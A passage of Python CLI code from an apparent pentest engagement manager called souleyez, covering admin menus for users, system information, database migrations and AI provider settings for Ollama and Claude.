            click.echo(click.style(f"  ✗ {error}", fg='red'))

        click.pause()

    except (KeyboardInterrupt, EOFError, ValueError):
        return


def _reset_password_interactive(user_mgr, users):
    """Reset a user's password."""
    import getpass
    from souleyez.auth import get_current_user

    if not users:
        click.echo(click.style("  No users!", fg='yellow'))
        click.pause()
        return

    try:
        # Interactive user selection
        user_options = [
            {'label': u.username, 'value': u, 'description': f"{u.role.value.upper()} | {u.tier.value}"}
            for u in users
        ]
        target = _interactive_select(user_options, "SELECT USER TO RESET PASSWORD")
        if target is None:
            return

        DesignSystem.clear_screen()
        click.echo()
        click.echo(click.style(f"  🔑 RESET PASSWORD: {target.username}", bold=True))
        click.echo("  " + "─" * 40)
        click.echo()
        click.echo(click.style("  Requirements: 8+ chars, upper, lower, digit, special", fg='bright_black'))
        click.echo()

        password = getpass.getpass("  New password: ")
        password_confirm = getpass.getpass("  Confirm password: ")

        if password != password_confirm:
            click.echo(click.style("  ✗ Passwords do not match!", fg='red'))
            click.pause()
            return

        success, error = user_mgr.change_password(target.id, password)

        if success:
            click.echo()
            click.echo(click.style(f"  ✓ Password reset for '{target.username}'!", fg='green'))
        else:
            click.echo(click.style(f"  ✗ {error}", fg='red'))

        click.pause()

    except (KeyboardInterrupt, EOFError, ValueError):
        return


def _delete_user_interactive(user_mgr, users):
    """Delete a user."""
    from souleyez.auth import get_current_user

    if not users:
        click.echo(click.style("  No users!", fg='yellow'))
        click.pause()
        return

    try:
        # Interactive user selection
        user_options = [
            {'label': u.username, 'value': u, 'description': f"{u.role.value.upper()} | {u.tier.value}"}
            for u in users
        ]
        target = _interactive_select(user_options, "⚠️  SELECT USER TO DELETE")
        if target is None:
            return

        # Prevent self-deletion
        current = get_current_user()
        if target.id == current.id:
            click.echo(click.style("  ✗ Cannot delete your own account!", fg='red'))
            click.pause()
            return

        click.echo()
        if not click.confirm(click.style(f"  Delete user '{target.username}'? This cannot be undone", fg='yellow')):
            click.echo(click.style("  Cancelled.", fg='yellow'))
            click.pause()
            return

        success, error = user_mgr.delete_user(target.id)

        if success:
            click.echo()
            click.echo(click.style(f"  ✓ User '{target.username}' deleted!", fg='green'))
        else:
            click.echo(click.style(f"  ✗ {error}", fg='red'))

        click.pause()

    except (KeyboardInterrupt, EOFError, ValueError):
        return




def _users_bulk_action_menu(selected_users: list, user_mgr):
    """Show inline action menu for selected users (like engagements)."""
    from souleyez.auth import Tier, get_current_user

    current_user = get_current_user()

    click.echo()
    click.echo(f"  Selected: {len(selected_users)} user(s)")

    # Get first selected for single-user actions
    first_user = selected_users[0] if selected_users else None

    if first_user:
        click.echo(f"    [v] View details for '{first_user['username']}'")
    click.echo("    [e] Enable selected")
    click.echo("    [d] Disable selected")
    click.echo("    [x] Delete selected")
    click.echo("    [u] Unselect all")
    click.echo("    [q] Back")

    try:
        action = click.prompt("  Select option", type=str, default='q', show_default=False).strip().lower()

        if action == 'v' and first_user:
            # View details - show roles and permissions
            _show_user_details(first_user, user_mgr)

        elif action == 'e':
            # Enable
            disabled_users = [u for u in selected_users if u['status'] != 'Active']
            if not disabled_users:
                click.echo(click.style("\n  All selected users are already active!", fg='yellow'))
                click.pause()
                return

            if click.confirm(f"\n  Enable {len(disabled_users)} user(s)?", default=True):
                success_count = 0
                for u in disabled_users:
                    success, _ = user_mgr.enable_user(u['id'])
                    if success:
                        success_count += 1
                click.echo(click.style(f"\n  ✓ Enabled {success_count} user(s)", fg='green'))
            else:
                click.echo("\n  Cancelled.")
            click.pause()

        elif action == 'd':
            # Disable
            active_users = [u for u in selected_users if u['status'] == 'Active']
            # Filter out self
            active_users = [u for u in active_users if u['id'] != current_user.id]
            if not active_users:
                click.echo(click.style("\n  No active users to disable (cannot disable self)!", fg='yellow'))
                click.pause()
                return

            if click.confirm(f"\n  Disable {len(active_users)} user(s)?", default=False):
                success_count = 0
                for u in active_users:
                    success, _ = user_mgr.disable_user(u['id'])
                    if success:
                        success_count += 1
                click.echo(click.style(f"\n  ✓ Disabled {success_count} user(s)", fg='green'))
            else:
                click.echo("\n  Cancelled.")
            click.pause()

        elif action == 'x':
            # Delete
            deletable = [u for u in selected_users if u['id'] != current_user.id]
            if not deletable:
                click.echo(click.style("\n  Cannot delete self!", fg='red'))
                click.pause()
                return

            click.echo(f"\n  Will delete {len(deletable)} user(s):")
            for u in deletable[:5]:
                click.echo(f"    - {u['username']} ({u['role']})")
            if len(deletable) > 5:
                click.echo(f"    ... and {len(deletable) - 5} more")

            click.echo(click.style("\n  ⚠️  This action cannot be undone!", fg='red'))
            if click.confirm(f"\n  Delete {len(deletable)} user(s)?", default=False):
                success_count = 0
                for u in deletable:
                    success, _ = user_mgr.delete_user(u['id'])
                    if success:
                        success_count += 1
                click.echo(click.style(f"\n  ✓ Deleted {success_count} user(s)", fg='green'))
            else:
                click.echo("\n  Cancelled.")
            click.pause()

        elif action == 'u':
            click.echo(click.style("\n  ✓ Unselected all", fg='green'))

    except (KeyboardInterrupt, click.Abort):
        pass


def _show_user_details(user_dict: dict, user_mgr):
    """Show detailed user information including roles and permissions."""
    from souleyez.auth import Role, Tier, ROLE_PERMISSIONS
    from rich.table import Table
    from rich.console import Console
    from rich.panel import Panel

    console = Console()

    DesignSystem.clear_screen()
    click.echo()
    click.echo(click.style(f"  👤 USER DETAILS: {user_dict['username']}", bold=True, fg='cyan'))
    click.echo("  " + "=" * 50)
    click.echo()

    # Basic info
    tier_icon = "💎" if user_dict['tier'] == "PRO" else ""
    click.echo(f"  Username:   {user_dict['username']}")
    click.echo(f"  User ID:    {user_dict['id']}")
    click.echo(f"  Role:       {user_dict['role']}")
    click.echo(f"  Tier:       {user_dict['tier']} {tier_icon}")
    click.echo(f"  Status:     {user_dict['status']}")
    click.echo(f"  Last Login: {user_dict['last_login']}")
    click.echo()

    # Role permissions
    click.echo(click.style("  📋 ROLE PERMISSIONS", bold=True))
    click.echo("  " + "─" * 40)

    # Get role enum from string
    role_str = user_dict['role'].lower()
    role = None
    for r in Role:
        if r.value == role_str:
            role = r
            break

    if role and role in ROLE_PERMISSIONS:
        permissions = ROLE_PERMISSIONS[role]
        for perm in sorted(permissions, key=lambda p: p.name):
            click.echo(f"    ✓ {perm.name}")
    else:
        click.echo("    (No permissions defined)")

    click.echo()

    # Tier features
    click.echo(click.style("  💎 TIER FEATURES", bold=True))
    click.echo("  " + "─" * 40)

    if user_dict['tier'] == "PRO":
        click.echo("    ✓ AI-powered scanning")
        click.echo("    ✓ Automated tool chaining")
        click.echo("    ✓ MSF Integration")
        click.echo("    ✓ Advanced reporting")
        click.echo("    ✓ Priority support")
    else:
        click.echo("    ○ Basic scanning tools")
        click.echo("    ○ Manual tool execution")
        click.echo("    ○ Standard reports")

    click.echo()
    click.pause()


def _manage_autochaining_settings():
    """Manage auto-chaining settings."""
    from souleyez.core.tool_chaining import ToolChaining
    
    chaining = ToolChaining()
    
    DesignSystem.clear_screen()
    click.echo()
    click.echo(click.style("⚡ AUTO-CHAINING SETTINGS", bold=True, fg='cyan'))
    click.echo("=" * 70)
    click.echo()
    
    current_state = chaining.is_enabled()
    if current_state:
        click.echo(click.style("Status: ENABLED", fg='green', bold=True))
        click.echo("Tools automatically chain into next phase.")
    else:
        click.echo(click.style("Status: DISABLED", fg='yellow', bold=True))
        click.echo("Manual control - you choose which tools to run.")
    
    click.echo()
    if click.confirm("Toggle auto-chaining?", default=False):
        new_state = chaining.toggle_chaining()
        if new_state:
            click.echo(click.style("\n✓ Auto-chaining ENABLED", fg='green', bold=True))
        else:
            click.echo(click.style("\n○ Auto-chaining DISABLED", fg='yellow', bold=True))
    
    click.pause()


def _show_system_info():
    """Show system information."""
    from pathlib import Path
    import sys
    
    DesignSystem.clear_screen()
    click.echo()
    click.echo(click.style("ℹ️  SYSTEM INFORMATION", bold=True, fg='cyan'))
    click.echo("=" * 70)
    click.echo()
    
    click.echo(click.style("SoulIze Configuration", bold=True))
    click.echo(f"  Config Directory:  {Path.home() / '.souleyez'}")
    click.echo(f"  Database:          {Path.home() / '.souleyez' / 'souleyez.db'}")
    click.echo(f"  Logs:              {Path.home() / '.souleyez' / 'souleyez.log'}")
    click.echo(f"  Crypto Config:     {Path.home() / '.souleyez' / 'crypto.json'}")
    click.echo()
    
    # SoulIze Version and Components
    click.echo(click.style("SoulIze Application", bold=True))
    try:
        from importlib.metadata import version
        souleyez_version = version("souleyez")
        click.echo(f"  Version:           {souleyez_version}")
    except:
        click.echo(f"  Version:           Development")
    
    # Check AI providers
    try:
        from souleyez.config import read_config
        cfg = read_config()
        active_provider = cfg.get('ai', {}).get('provider', 'ollama')

        # Check Ollama
        ollama_status = "○ Not running"
        ollama_color = 'yellow'
        try:
            from souleyez.ai.ollama_provider import OllamaProvider
            ollama = OllamaProvider()
            if ollama.is_available():
                status = ollama.get_status()
                model = status.get('configured_model', 'unknown')
                ollama_status = f"● Ready ({model})"
                ollama_color = 'green'
        except:
            pass

        # Check Claude
        claude_status = "○ Not configured"
        claude_color = 'yellow'
        try:
            from souleyez.ai.claude_provider import ClaudeProvider
            claude = ClaudeProvider()
            if claude.is_available():
                claude_status = "● Ready"
                claude_color = 'green'
        except:
            pass

        # Show active provider first
        if active_provider == 'ollama':
            click.echo(f"  AI Provider:       {click.style(ollama_status, fg=ollama_color, bold=True)} {click.style('◀ Ollama', fg='green')}")
            click.echo(f"  AI Alternate:      {click.style(claude_status, fg=claude_color)} (Claude)")
        else:
            click.echo(f"  AI Provider:       {click.style(claude_status, fg=claude_color, bold=True)} {click.style('◀ Claude', fg='cyan')}")
            click.echo(f"  AI Alternate:      {click.style(ollama_status, fg=ollama_color)} (Ollama)")
    except Exception:
        click.echo(f"  AI Provider:       {click.style('○ Not configured', fg='yellow')}")

    try:
        from souleyez.engine import worker_manager
        click.echo(f"  Background Worker: {click.style('● Installed', fg='green', bold=True)}")
    except ImportError:
        click.echo(f"  Background Worker: {click.style('○ Not Found', fg='red')}")
    
    # Check encryption status
    from souleyez.storage.crypto import get_crypto_manager
    crypto = get_crypto_manager()
    if crypto.is_encryption_enabled():
        click.echo(f"  Encryption:        {click.style('● Enabled', fg='green', bold=True)}")
    else:
        click.echo(f"  Encryption:        {click.style('○ Disabled', fg='yellow')}")
    
    # Check auto-chaining status
    from souleyez.core.tool_chaining import ToolChaining
    chaining = ToolChaining()
    if chaining.is_enabled():
        click.echo(f"  Auto-chaining:     {click.style('● Enabled', fg='green', bold=True)}")
    else:
        click.echo(f"  Auto-chaining:     {click.style('○ Disabled', fg='yellow')}")
    
    # Check worker status
    try:
        from souleyez.engine.worker_manager import get_worker_status
        status = get_worker_status()
        if status and status.get('running'):
            pid = status.get('pid', 'unknown')
            click.echo(f"  Worker Status:     {click.style('● Running', fg='green', bold=True)} (PID: {pid})")
        else:
            click.echo(f"  Worker Status:     {click.style('○ Stopped', fg='red')}")
    except Exception as e:
        click.echo(f"  Worker Status:     {click.style('○ Unknown', fg='yellow')}")
    
    
    # External Tools Status
    try:
        from souleyez.utils.tool_checker import get_tool_stats
        installed_count, total_count = get_tool_stats()
        
        if installed_count == total_count:
            tools_status = click.style(f'● {installed_count}/{total_count} Installed', fg='green', bold=True)
        elif installed_count > total_count * 0.5:
            tools_status = click.style(f'⚠ {installed_count}/{total_count} Installed', fg='yellow', bold=True)
        else:
            tools_status = click.style(f'✗ {installed_count}/{total_count} Installed', fg='red', bold=True)
        
        click.echo(f"  External Tools:    {tools_status}")
    except:
        click.echo(f"  External Tools:    {click.style('? Unknown', fg='yellow')}")
    
    click.echo()
    
    click.echo(click.style("Python Environment", bold=True))
    click.echo(f"  Python Version:    {sys.version.split()[0]}")
    click.echo(f"  Python Path:       {sys.executable}")
    click.echo()
    
    # Key dependencies grouped by purpose
    click.echo(click.style("Key Dependencies", bold=True))

    # Helper to get version - tries metadata first, then module import
    def get_package_version(package_name, module_name=None):
        try:
            from importlib.metadata import version
            return version(package_name)
        except:
            pass
        # Fallback: check if module can be imported (for compiled binaries)
        try:
            import importlib
            mod = importlib.import_module(module_name or package_name)
            return getattr(mod, '__version__', 'compiled')
        except:
            return None

    # CLI Framework
    version = get_package_version("click")
    click.echo(f"  CLI Framework:     Click {version or 'compiled'}")

    # AI Providers
    import shutil
    ollama_installed = "installed" if shutil.which("ollama") else "not installed"
    anthropic_version = get_package_version("anthropic")
    claude_status = f"v{anthropic_version}" if anthropic_version else "not installed"
    click.echo(f"  AI Providers:      Ollama ({ollama_installed}), Claude ({claude_status})")

    # Encryption
    version = get_package_version("cryptography")
    click.echo(f"  Encryption:        Cryptography {version or 'compiled'}")

    # UI Display
    version = get_package_version("rich")
    click.echo(f"  UI Display:        Rich {version or 'compiled'}")
    
    click.echo()
    
    # Database information - consolidated
    config_dir = Path.home() / ".souleyez"
    if config_dir.exists():
        db_file = config_dir / "souleyez.db"
        
        if db_file.exists():
            import datetime
            size_mb = db_file.stat().st_size / (1024 * 1024)
            modified = datetime.datetime.fromtimestamp(db_file.stat().st_mtime)
            
            click.echo(click.style("Database", bold=True))
            click.echo(f"  Status:            {click.style('● Active', fg='green', bold=True)}")
            click.echo(f"  Location:          {db_file}")
            click.echo(f"  Size:              {size_mb:.2f} MB")
            click.echo(f"  Last Modified:     {modified.strftime('%Y-%m-%d %H:%M:%S')}")
            
            # Check migration status
            try:
                from souleyez.storage.migrations.migration_manager import MigrationManager
                from souleyez.storage.database import get_db
                
                db_instance = get_db()
                manager = MigrationManager(db_instance.db_path)
                pending = manager.get_pending_migrations()
                
                if pending:
                    click.echo(f"  Migrations:        {click.style('⚠ ' + str(len(pending)) + ' pending', fg='yellow', bold=True)}")
                else:
                    click.echo(f"  Migrations:        {click.style('● Up to date', fg='green', bold=True)}")
            except Exception as e:
                click.echo(f"  Migrations:        {click.style('? Unknown', fg='yellow')}")
            
            # Count records and get stats
            try:
                from souleyez.storage.database import Database
                db = Database()
                
                click.echo()
                
                # Helper function to safely count records
                def safe_count(table_name):
                    try:
                        result = db.execute(f"SELECT COUNT(*) as count FROM {table_name}")
                        return result[0]['count'] if result else 0
                    except:
                        return None
                
                # Count engagements
                eng_count = safe_count("engagements")
                
                # Get current engagement
                current = None
                try:
                    from souleyez.storage.engagements import EngagementManager
                    em = EngagementManager()
                    current = em.get_current()
                except:
                    pass
                
                # Count other records
                host_count = safe_count("hosts")
                service_count = safe_count("services")
                finding_count = safe_count("findings")
                cred_count = safe_count("credentials")
                job_count = safe_count("jobs")
                
                # Only show counts if tables exist
                if eng_count is not None:
                    click.echo(f"  Engagements:       {eng_count}" + (f" (Current: {current['name']})" if current else ""))
                if host_count is not None:
                    click.echo(f"  Hosts:             {host_count}")
                if service_count is not None:
                    click.echo(f"  Services:          {service_count}")
                if finding_count is not None:
                    click.echo(f"  Findings:          {finding_count}")
                if cred_count is not None:
                    click.echo(f"  Credentials:       {cred_count}")
                
                if job_count is not None:
                    # Jobs by status
                    jobs_running_count = 0
                    jobs_completed_count = 0
                    jobs_failed_count = 0
                    
                    try:
                        jobs_running = db.execute("SELECT COUNT(*) as count FROM jobs WHERE status='running'")
                        jobs_running_count = jobs_running[0]['count'] if jobs_running else 0
                        
                        jobs_completed = db.execute("SELECT COUNT(*) as count FROM jobs WHERE status='completed'")
                        jobs_completed_count = jobs_completed[0]['count'] if jobs_completed else 0
                        
                        jobs_failed = db.execute("SELECT COUNT(*) as count FROM jobs WHERE status='failed'")
                        jobs_failed_count = jobs_failed[0]['count'] if jobs_failed else 0
                    except:
                        pass
                    
                    click.echo(f"  Jobs Total:        {job_count}")
                    if jobs_running_count > 0:
                        click.echo(f"    Running:         {click.style(str(jobs_running_count), fg='green', bold=True)}")
                    if jobs_completed_count > 0:
                        click.echo(f"    Completed:       {jobs_completed_count}")
                    if jobs_failed_count > 0:
                        click.echo(f"    Failed:          {click.style(str(jobs_failed_count), fg='red')}")
                
            except Exception as e:
                click.echo()
                click.echo(f"  Records:           {click.style('Unable to query database', fg='yellow')}")
            
            click.echo()
        else:
            click.echo(click.style("Database", bold=True))
            click.echo(f"  Status:            {click.style('○ Not Found', fg='red')}")
            click.echo()
        
        # Log file info
        log_file = config_dir / "souleyez.log"
        if log_file.exists():
            size_kb = log_file.stat().st_size / 1024
            click.echo(click.style("Log File", bold=True))
            click.echo(f"  Status:            {click.style('● Active', fg='green', bold=True)}")
            click.echo(f"  Location:          {log_file}")
            click.echo(f"  Size:              {size_kb:.2f} KB")
            click.echo()
    
    click.pause()


def _manage_database_migrations():
    """Manage database migrations menu."""
    from souleyez.storage.migrations.migration_manager import MigrationManager
    from souleyez.storage.database import get_db
    
    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("DATABASE MIGRATIONS")
        
        # Get database path
        db_instance = get_db()
        db_path = db_instance.db_path
        
        # Check migration status
        manager = MigrationManager(db_path)
        pending = manager.get_pending_migrations()
        
        if pending:
            status_text = click.style(f"⚠ {len(pending)} pending", fg='yellow', bold=True)
            click.echo(f"  Migration Status: {status_text}")
            click.echo()
            click.echo("  Pending migrations:")
            for mig in pending:
                click.echo(f"    • [{mig['version']}] {mig['name']}")
        else:
            status_text = click.style("● Up to date", fg='green', bold=True)
            click.echo(f"  Migration Status: {status_text}")
        
        click.echo()
        click.echo("  ⚙️  OPTIONS")
        click.echo("  ─" * 50)
        click.echo("    [1] Apply Pending Migrations  - Run all pending database migrations")
        click.echo("    [2] Show Migration Status     - Display detailed migration information")
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()
        
        try:
            choice = click.prompt("  Select option", type=str, default="0", show_default=False).strip().lower()
            
            if choice in ["0", "q"]:
                return
            elif choice == "1":
                _run_migrations()
            elif choice == "2":
                _show_migration_status()
            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()
        
        except (KeyboardInterrupt, EOFError):
            return


def _ai_settings_menu():
    """Unified AI settings menu for provider selection and configuration."""
    from souleyez.config import read_config, write_config

    while True:
        DesignSystem.clear_screen()
        click.echo()
        render_standard_header("AI SETTINGS")

        config = read_config()
        current_provider = config.get('ai', {}).get('provider', 'ollama')

        # Check provider availability
        ollama_available = False
        claude_available = False
        ollama_status = {}
        claude_status = {}

        try:
            from souleyez.ai.ollama_provider import OllamaProvider
            ollama = OllamaProvider()
            ollama_available = ollama.is_available()
            ollama_status = ollama.get_status()
        except Exception:
            pass

        try:
            from souleyez.ai.claude_provider import ClaudeProvider
            claude = ClaudeProvider()
            claude_available = claude.is_available()
            claude_status = claude.get_status()
        except Exception:
            pass

        # Current provider status
        click.echo("  🤖 ACTIVE PROVIDER")
        click.echo("  " + "─" * 60)

        if current_provider == 'ollama':
            if ollama_available:
                model = ollama_status.get('configured_model', 'unknown')
                click.echo(f"    Active: {click.style('Ollama', fg='green', bold=True)} ({model})")
                click.echo(f"    Type:   {click.style('Local - data stays on your machine', fg='green')}")
            else:
                click.echo(f"    Active: {click.style('Ollama (not running)', fg='yellow', bold=True)}")
                click.echo(f"    Fix:    Run 'ollama serve' to start")
        else:  # claude
            if claude_available:
                model = claude_status.get('model', 'claude-sonnet-4-20250514')
                click.echo(f"    Active: {click.style('Claude', fg='cyan', bold=True)} ({model})")
                click.echo(f"    Type:   {click.style('Cloud API - data sent to Anthropic', fg='yellow')}")
            else:
                click.echo(f"    Active: {click.style('Claude (not configured)', fg='yellow', bold=True)}")
                click.echo(f"    Fix:    Configure API key below")

        click.echo()

        # Provider status summary
        click.echo("  📊 PROVIDER STATUS")
        click.echo("  " + "─" * 60)

        # Ollama status
        if ollama_available:
            ollama_icon = click.style("✓", fg='green')
            ollama_label = click.style("Ollama", fg='green')
        else:
            ollama_icon = click.style("○", fg='yellow')
            ollama_label = click.style("Ollama", fg='yellow')
        active_marker = click.style(" ◀ active", fg='green') if current_provider == 'ollama' else ""
        click.echo(f"    {ollama_icon} {ollama_label} - Local AI (privacy-first){active_marker}")

        # Claude status
        if claude_available:
            claude_icon = click.style("✓", fg='green')
            claude_label = click.style("Claude", fg='cyan')
        else:
            claude_icon = click.style("○", fg='yellow')
            claude_label = click.style("Claude", fg='yellow')
        active_marker = click.style(" ◀ active", fg='green') if current_provider == 'claude' else ""
        click.echo(f"    {claude_icon} {claude_label} - Cloud API (best quality){active_marker}")

        click.echo()
        click.echo("  " + "─" * 60)
        click.echo()

        # Options
        click.echo("  ⚙️  OPTIONS")
        click.echo("  " + "─" * 60)
        click.echo("    [1] Switch Provider       - Toggle between Ollama and Claude")
        click.echo("    [2] Ollama Settings       - Model selection, resource requirements")
        click.echo("    [3] Claude Settings       - API key, model, connection test")
        click.echo()
        click.echo("    [q] ← Back")
        click.echo()

        try:
            choice = click.prompt("  Select option", type=str, default="q", show_default=False).strip().lower()

            if choice == "q":
                return
            elif choice == "1":
                _switch_ai_provider()
            elif choice == "2":
                _manage_ollama_settings()
            elif choice == "3":
                _manage_claude_settings()
            else:
                click.echo(click.style("\n  ✗ Invalid choice!", fg='red'))
                click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def _switch_ai_provider():
    """Switch between AI providers."""
    from souleyez.config import read_config, write_config

    config = read_config()
    current = config.get('ai', {}).get('provider', 'ollama')

    # Check what's available
    ollama_available = False
    claude_available = False

    try:
        from souleyez.ai.ollama_provider import OllamaProvider
        ollama = OllamaProvider()
        ollama_available = ollama.is_available()
    except Exception:
        pass

    try:
        from souleyez.ai.claude_provider import ClaudeProvider
        claude = ClaudeProvider()
        claude_available = claude.is_available()
    except Exception:
        pass

    DesignSystem.clear_screen()
    click.echo()
    render_standard_header("SWITCH AI PROVIDER")

    if not ollama_available and not claude_available:
        click.echo(click.style("\n  ⚠️  No AI providers available.", fg='yellow'))
        click.echo("  Configure Ollama (ollama serve) or set Claude API key.")
        click.pause("\n  Press any key to continue...")
        return

    # Build list of available providers
    providers = []
    if ollama_available:
        providers.append(('ollama', 'Ollama', 'Local, private - no data sent externally'))
    if claude_available:
        providers.append(('claude', 'Claude', 'Cloud API - best quality, data sent to Anthropic'))

    if len(providers) == 1:
        click.echo(click.style(f"\n  Only {providers[0][1]} is available.", fg='yellow'))
        config.setdefault('ai', {})['provider'] = providers[0][0]
        write_config(config)
        click.pause("\n  Press any key to continue...")
        return

    click.echo()
    click.echo("  Select your preferred AI provider:")
    click.echo("  " + "─" * 60)

    for i, (key, label, desc) in enumerate(providers, 1):
        marker = click.style(" ◀ current", fg='green') if key == current else ""
        if key == 'ollama':
            click.echo(f"    [{i}] {click.style(label, fg='green', bold=True)} - {desc}{marker}")
        else:
            click.echo(f"    [{i}] {click.style(label, fg='cyan', bold=True)} - {desc}{marker}")

    click.echo("  " + "─" * 60)
    click.echo("    [q] Cancel")
    click.echo()

    try:
        choice = click.prompt("  Select provider", type=str, default="q", show_default=False).strip().lower()

        if choice == 'q':
            return

        idx = int(choice) - 1
        if 0 <= idx < len(providers):
            new_provider = providers[idx][0]
            config.setdefault('ai', {})['provider'] = new_provider
            write_config(config)
            click.echo(click.style(f"\n  ✓ AI provider set to {providers[idx][1]}", fg='green'))

            if new_provider == 'claude':
                click.echo(click.style("  ⚠️  Note: Engagement data will be sent to Anthropic's API", fg='yellow'))

            click.pause("\n  Press any key to continue...")
    except (ValueError, IndexError):
        click.echo(click.style("\n  ✗ Invalid selection", fg='red'))
        click.pause("\n  Press any key to continue...")
    except (KeyboardInterrupt, EOFError):
        return


def _manage_ollama_settings():
    """Manage Ollama AI model settings."""
    from souleyez.config import read_config, write_config
    from souleyez.ai.ollama_service import OllamaService

    # Model requirements dictionary
    MODEL_REQUIREMENTS = {
        'llama2': {
            'description': 'Meta Llama 2 (general-purpose)',
            'ram': '8GB+',
            'disk': '4GB',
            'gpu': 'Optional (faster)'
        },
        'llama3.1:8b': {
            'description': 'Meta Llama 3.1 8B (recommended, balanced)',
            'ram': '8GB+',
            'disk': '5GB',
            'gpu': 'Optional (faster)'
        },
        'llama3.1': {
            'description': 'Meta Llama 3.1 (alias for latest)',
            'ram': '8GB+',
            'disk': '5GB',
            'gpu': 'Optional (faster)'
        },
        'codellama': {
            'description': 'CodeLlama (code generation)',
            'ram': '8GB+',
            'disk': '7GB',
            'gpu': 'Optional (faster)'
        },
        'mistral': {
            'description': 'Mistral (fast, small, general)',
            'ram': '4GB+',
            'disk': '1.5GB',
            'gpu': 'Optional (faster)'
        },
        'phi': {
            'description': 'Phi (lightweight, fast)',
            'ram': '2GB+',
            'disk': '1GB',
            'gpu': 'Optional (faster)'
        },
        'llama3': {
            'description': 'Meta Llama 3 (general-purpose)',
            'ram': '8GB+',
            'disk': '4.5GB',
            'gpu': 'Optional (faster)'
        },
        'llama3.2:1b': {
            'description': 'Meta Llama 3.2 1B (lightweight, fast)',
            'ram': '2GB+',
            'disk': '1GB',
            'gpu': 'Optional (faster)'
        },
        'llama3.2:3b': {
            'description': 'Meta Llama 3.2 3B (small, efficient)',
            'ram': '4GB+',
            'disk': '2GB',
            'gpu': 'Optional (faster)'
        }
    }

    DesignSystem.clear_screen()
    click.echo()
    click.echo(click.style("🤖 OLLAMA MODEL SETTINGS", bold=True, fg='cyan'))
    click.echo("=" * 70)
    click.echo()

    # Get current configuration
    cfg = read_config()
    current_model = cfg.get('settings', {}).get('ollama_model', 'llama3.1:8b')

    click.echo(f"  Current Model: {click.style(current_model, fg='green', bold=True)}")
    click.echo()

    # Check connection to Ollama
    click.echo("  Connecting to Ollama...")
    service = OllamaService()

    if not service.check_connection():
        click.echo(click.style("  ✗ Ollama not running", fg='yellow'))
        click.echo()

        # Check if Ollama is installed
        import shutil
        import subprocess
        import time

        ollama_path = shutil.which('ollama')

        if ollama_path:
            # Ollama is installed but not running - offer to start it
            click.echo("  Ollama is installed but the service isn't running.")
            click.echo(click.style("  Note:", fg='cyan') + " Ollama is optional - AI features require it.")
            click.echo()

            try:
                response = input("  Start Ollama now? (y/n): ").strip().lower()

                if response == 'y':
                    click.echo()
                    click.echo("  Starting Ollama service...")

                    # Start ollama serve in background
                    try:
                        # Start the process detached from this terminal
                        subprocess.Popen(
                            ['ollama', 'serve'],
                            stdout=subprocess.DEVNULL,
                            stderr=subprocess.DEVNULL,
                            start_new_session=True
                        )

                        # Give it a moment to start
                        click.echo("  Waiting for Ollama to start...")
                        time.sleep(3)

                        # Retry connection
                        service = OllamaService()
                        if service.check_connection():
                            click.echo(click.style("  ✓ Ollama started successfully!", fg='green'))
                            click.echo()
                            # Continue with the rest of the function (don't return here)
                        else:
                            click.echo(click.style("  ✗ Failed to connect after starting Ollama.", fg='red'))
                            click.echo()
                            click.echo("  " + click.style("💡 TIP:", fg='yellow') + " Try starting manually:")
                            click.echo("     • Run: ollama serve")
                            click.echo("     • Then return to this menu")
                            click.echo()
                            click.pause()
                            return
                    except Exception as e:
                        click.echo(click.style(f"  ✗ Error starting Ollama: {e}", fg='red'))
                        click.echo()
                        click.echo("  " + click.style("💡 TIP:", fg='yellow') + " Try starting manually:")
                        click.echo("     • Run: ollama serve")
                        click.echo()
                        click.pause()
                        return
                else:
                    click.echo()
                    click.echo("  " + click.style("💡 TIP:", fg='yellow') + " Start Ollama manually:")
                    click.echo("     • Run: ollama serve")
                    click.echo()
                    click.pause()
                    return

            except (KeyboardInterrupt, EOFError):
                click.echo()
                click.echo("  Cancelled.")
                click.pause()
                return
        else:
            # Ollama is not installed
            click.echo("  Ollama is not installed.")
            click.echo()
            click.echo(click.style("  Note:", fg='cyan') + " Ollama is an " + click.style("optional", bold=True) + " external tool for AI features.")
            click.echo("  SoulEyez works without it - AI suggestions will just be unavailable.")
            click.echo()
            click.echo("  " + click.style("To enable AI features:", fg='yellow'))
            click.echo("     1. Visit https://ollama.ai and install Ollama")
            click.echo("     2. Run: ollama serve")
            click.echo("     3. Pull a model: ollama pull llama3.1:8b")
            click.echo()
            click.pause()
            return

    # Get list of installed models
    try:
        models_response = service.client.list()
        installed_models = [m.model for m in models_response.models]
    except Exception as e:
        click.echo(click.style(f"  ✗ Error listing models: {e}", fg='red'))
        click.echo()
        click.pause()
        return

    if not installed_models:
        click.echo(click.style("  ⚠ No models installed!", fg='yellow'))
        click.echo()
        click.echo("  Would you like to download a model now?")
        click.echo()

        # Define recommended models to offer for download
        recommended_models = [
            'llama3.1:8b',
            'llama3.2:1b',
            'llama3.2:3b',
            'mistral',
            'phi'
        ]

        # Display available models
        click.echo("  RECOMMENDED MODELS")
        click.echo("  " + "─" * 66)
        click.echo()

        for idx, model_name in enumerate(recommended_models, 1):
            base_model = model_name.split(':')[0]
            requirements = MODEL_REQUIREMENTS.get(model_name) or MODEL_REQUIREMENTS.get(base_model)

            if requirements:
                click.echo(f"  [{idx}] {click.style(model_name, fg='cyan', bold=True)}")
                click.echo(f"      {requirements['description']}")
                click.echo(f"      RAM: {requirements['ram']} | Disk: {requirements['disk']} | GPU: {requirements['gpu']}")
            else:
                click.echo(f"  [{idx}] {click.style(model_name, fg='cyan', bold=True)}")
            click.echo()

        click.echo("  " + "─" * 66)
        click.echo()
        click.echo("  Enter model number to download, or press Enter to skip")

        try:
            choice = input("  Choice: ").strip()

            if not choice:
                click.echo()
                click.echo("  Skipped. You can install models manually:")
                click.echo("     • Run: ollama pull llama3.1:8b")
                click.echo()
                click.pause()
                return

            if choice.isdigit():
                idx = int(choice)
                if 1 <= idx <= len(recommended_models):
                    selected_model = recommended_models[idx - 1]

                    click.echo()
                    click.echo(f"  Downloading {click.style(selected_model, fg='cyan', bold=True)}...")
                    click.echo()

                    # Run ollama pull command
                    import subprocess
                    try:
                        result = subprocess.run(
                            ['ollama', 'pull', selected_model],
                            check=True,
                            text=True
                        )

                        click.echo()
                        click.echo(click.style(f"  ✓ Successfully downloaded {selected_model}!", fg='green'))
                        click.echo()

                        # Set this as the default model
                        cfg.setdefault('settings', {})['ollama_model'] = selected_model
                        write_config(cfg)

